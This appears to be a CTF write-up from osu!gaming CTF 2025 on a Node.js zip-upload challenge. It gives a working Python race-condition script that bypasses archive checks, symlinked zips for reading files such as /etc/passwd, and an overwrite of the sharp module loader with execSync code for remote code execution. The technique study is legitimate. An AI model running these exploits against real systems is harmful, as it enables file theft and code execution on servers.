last weekend i played osu!gaming CTF 2025 with ICEDTEA, and managed to solve this fun challenge!
i went down several rabbit holes (which my birdbrain thought was a dead end) and thought i’d share the process of how i solved it

challenge

we start with /index.html prompting us for an .osz, which sends it to /render and renders the map background alongside the gradient it sends back.

there’s also two other endpoints, one being /upload:

app.post('/upload', upload.single('file'), (req, res) => {
  if (!req.file) return res.status(400).send('no file uploaded, check filename');
  if (req.file.filename.includes('..') || req.file.filename.includes('/')) {
    return res.status(400).send('invalid filename');
  }
  res.send(`${req.file.filename}`);
});

path traversals in filenames are blocked, and there’s no bypasses for this afaik
however, keep in mind this endpoint only checks for the file’s name, and ignores its contents.

the other endpoint is /process, which accepts 2 parameters being the zip archive’s name, and the file entry inside we want to read. it does a handful of checks:

  • first we do the same filename check on name, with one extra check that it must be 1 char long
  • and then iterate through the contents of the archive:
    • check the entry’s name for weird stuff (null/control byte)
    • check for path traversals in the name
    • check for symlink with a bitmask on the entry’s external file attributes
  • then for the entry we’re reading:
    • check for path traversals in entry file name (again)
    • unzip, if it errors then send code 500 back
    • check if the entry we’re reading exists
    • only allow .jpg endings in entry name (if it’s longer than 1 char)

what’s peculiar here is how it unzips our archive:

await new Promise(resolve => setTimeout(() => { fs.copyFileSync(zipPath, path.join(extractDir, path.basename(zipPath))); resolve(); }, 1000));
const unzipResult = spawnSync('unzip', ['-o', path.join(extractDir, path.basename(zipPath))], { cwd: extractDir, timeout: 10000 });
if (unzipResult.status !== 0) {
  console.log(`Unzip error: ${unzipResult.stderr.toString()}, ${unzipResult.status}`);
  return res.status(500).send('unzip error');
}

surely the 1 second copy delay from setTimeout is just a funny quirk and doesn’t cause anything catastrophic! haha! :clueless:

race condition

guess what happens if we do the following:

  • /upload a valid zip a.zip with cat.jpg
  • /process the entry named meow.jpg that is inside the zip archive named a
  • after 100 milliseconds /upload another zip a.zip with meow.jpg

normally it’ll fail because the archive only contains cat.jpg, but if we happen to upload it after the archive check and before the copying, we can get the server to process our malicious zip, and read meow.jpg!
this renders the entry file checks completely useless, so we can have path traversal in filenames and symlink now
which means we get arbitrary file read!

import requests
import subprocess
import threading
import time

BASE_URL = "http://localhost:3000"

def upload(filename, name, delay=0):
    if delay:
        time.sleep(delay)

    url = f"{BASE_URL}/upload"
    with open(filename, 'rb') as f:
        files = {'file': (name, f)}
        data = {'name': name}
        response = requests.post(url, files=files, data=data)
        print(f'[upload]: {response.text.strip()}')

def process(zip_name, entry_name):
    url = f"{BASE_URL}/process"
    params = {'name': zip_name, 'file': entry_name}

    response = requests.get(url, params=params)
    print(f'[process]: {response.text.strip()}')

target = '/etc/passwd'
link_name = 'l'
zip_name = 'z'

'''
#good zip
with open('meow.jpg', 'w') as f:
    f.write('lalala')
subprocess.run(f'zip good.zip meow.jpg', shell=True)

#bad zip
subprocess.run(f'ln -s {target} {link_name}', shell=True)
subprocess.run(f'zip --symlink bad.zip {link_name}', shell=True)
'''

upload('good.zip', zip_name)
t1 = threading.Thread(target=process, args=(zip_name, link_name))
t2 = threading.Thread(target=upload, args=('bad.zip', zip_name, 0.05))
t1.start()
t2.start()
t1.join()
t2.join()
ok but. theres nothing useful to read. if we look at the dockerfile:

COPY --from=build-readflag /readflag /readflag
RUN chown root:root /readflag && chmod 4755 /readflag

COPY --chown=root:root flag.txt /flag.txt
RUN chmod 400 /flag.txt

only root can read /flag.txt, and we need to find a way to execute /readflag, or in other words get RCE.
but how?

arbitrary file overwrite

let’s test if we can path traversal to upload funny things to anywhere!
we’ll try writing a symlink to ../meow.txt and see what happens:

Unzip error: , 1

it gave an error and ended up under its own extract folder. wtf?
turns out the error’s in stdout instead:

[DEBUG] STDOUT: Archive:  /tmp/uploads/z_extracted/l
warning:  skipped "../" path component(s) in ../meow.txt
 extracting: meow.txt

damn. guess no path traversal then. what about symlinks?

if we upload a symlink to /app/public, the directory structure looks like this:

├── public
│   └── index.html
└── tmp
    └── uploads
        ├── z
        └── z_extracted
            └── l → /app/public

since we’re uploading the same zip after, the entries will get extracted under z_extracted too.
what if we upload a zip, which contains a directory l named after the symlink, and in it contains index.html?

notice the unzip is executed, with an -o, which allows file overwrites
so theoretically /tmp/uploads/z_extracted/l/index.html will replace /app/public/index.html, but…

[DEBUG] Status: 50
[DEBUG] STDOUT: Archive:  /tmp/uploads/z_extracted/l
[DEBUG] STDERR: error:  cannot delete old l/index.html
        Permission denied

c-could we at least write a file instead???

[DEBUG] Status: 50
[DEBUG] STDOUT: Archive:  /tmp/uploads/z_extracted/l
[DEBUG] STDERR: error:  cannot create l/meow
        Permission denied

i hate you
and my dumbass thought i hit a dead end… without even checking the actual permissions until like 6 hours later

if we did check though, we’ll see:

$ ls -l
total 72
-rwxrwxrwx  1 root root  6611 Oct 26 09:43 index.js
drwxr-xr-x 89 app  app   4096 Oct 25 15:11 node_modules
-rw-r--r--  1 app  app  52235 Oct 25 15:11 package-lock.json
-rwxrwxrwx  1 root root   331 Oct 25 15:09 package.json
drwxr-xr-x  2 root root  4096 Oct 25 15:09 public

the /public folder we’re symlinking to is owned by root, and we don’t even have the permissions to write in it! i had the solution the whole time!

rce

using the final puzzle piece:

app.post('/render', (req, res) => {
  const sharp = require('sharp');
  // ...

the sharp module gets required at runtime, so we just have to overwrite the module’s loader with our RCE payload:

const { familySync, versionSync } = require('detect-libc');

const { runtimePlatformArch, isUnsupportedNodeRuntime, prebuiltPlatforms, minimumLibvipsVersion } = require('./libvips');
const runtimePlatform = runtimePlatformArch();

const { execSync } = require('child_process');
execSync('/readflag > /app/meow.txt');
// ...

solve

and finally, the attack flow:

  1. /upload a symlink pointing to the sharp module: /tmp/uploads/z_extracted/l -> /app/node_modules/sharp/lib/
  2. /upload a normal zip with the following structure and /process:
pwn.zip
└── l
    └── sharp.js

note: do it in the same directory as step 1

upload('pwn.zip', 'z')
process('z', 'asdfghjkl :3')
  1. drag a random .osz file at /index.html
  2. use arbitrary file read to read /app/meow.txt
> python3 solve.py
  adding: meow.jpg (stored 0%)
  adding: l (stored 0%)
[upload]: z
[upload]: z
[process]: osu{I_w4nt_mus1c_n3xt_t1m3}

and we got the flag! yay!

still bummed i didnt have time for beatmap-list tho